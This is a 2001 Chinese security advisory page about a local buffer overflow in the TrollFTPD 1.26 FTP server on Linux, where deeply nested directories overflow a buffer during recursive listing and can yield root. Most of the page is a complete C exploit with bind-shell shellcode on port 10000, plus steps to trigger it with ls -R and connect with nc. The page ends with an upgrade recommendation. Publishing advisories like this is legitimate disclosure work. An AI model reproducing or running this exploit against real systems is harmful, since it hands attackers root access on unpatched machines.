首页 -> 安全研究
安全研究
安全漏洞
TrollFTPD 递归目录列表本地缓冲区溢出漏洞
发布日期:2001-08-13
更新日期:2001-08-13
受影响系统:
不受影响系统:
TrollTech TrollFTPD 1.26 (可能更低版本)
描述:
TrollTech TrollFTPD 1.27
TrollFTPD是TroolTech开发的一个免费的FTP服务器,用于Linux平台下。
它在处理递归目录列表时存在一个漏洞,如果攻击者创建很深的目录,使总目录长度超过
一定限制时,将引发TrollFTPD的一个缓冲区溢出漏洞。本地攻击者可以获取root权限。
<*来源:zen-parse (zen-parse@gmx.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
zen-parse (zen-parse@gmx.net)提供了如下测试步骤:
首先运行测试程序。
ftp localhost
<in ftp>
(your username)
(your password)
cd /tmp
ls -R
退出ftp.
使用nc连接本地的10000端口。
测试代码如下:
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x55\x55\x55\x55" // push dword 68732f6eh
"\x68\x55\x55\x55\x55" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
main()
{
char dir[8000];
char nir[8000];
int z0=0,a0=0x080597f8;
int z1=0,a1=0xbff96450;
int g;
strcpy(dir,"/tmp/retroll/");
mkdir(dir,0777);
printf("%d\n",strlen(shellcode));
while(strlen(dir)<4040)
{
strcat(dir,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/");
mkdir(dir,0777);
}
// 4048 so far leaving 48 left.
if(chdir(dir)){perror("chdir");exit(1);}
printf("%d + ",strlen(dir));
sprintf(dir,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAA/");
mkdir(dir,0777);
system("cp /bin/sh AAAAAAAAAAAAAAAAAAAAAAAAAAAAA/UUUUUUUU");
sprintf(nir,"%sAAAAAAAAAAAAAAAAAAAAAAAA",dir);
sprintf(dir,"%sGGGG=AAAAAAA%sAAAAAAAAAAAA%sCCCC%s",nir,&a0,&a1,shellcode);
printf("%d = ",strlen(dir));
mkdir(dir,0777);
}
建议:
厂商补丁:
TrollFTPD 1.27已经解决了这个问题。我们建议正在使用有问题版本软件的用户立刻升级
到1.27或更高版本:
http://www.trolltech.com/products/download/freebies/ftpd.html
浏览次数:4581
严重程度:0(网友投票)
绿盟科技给您安全的保障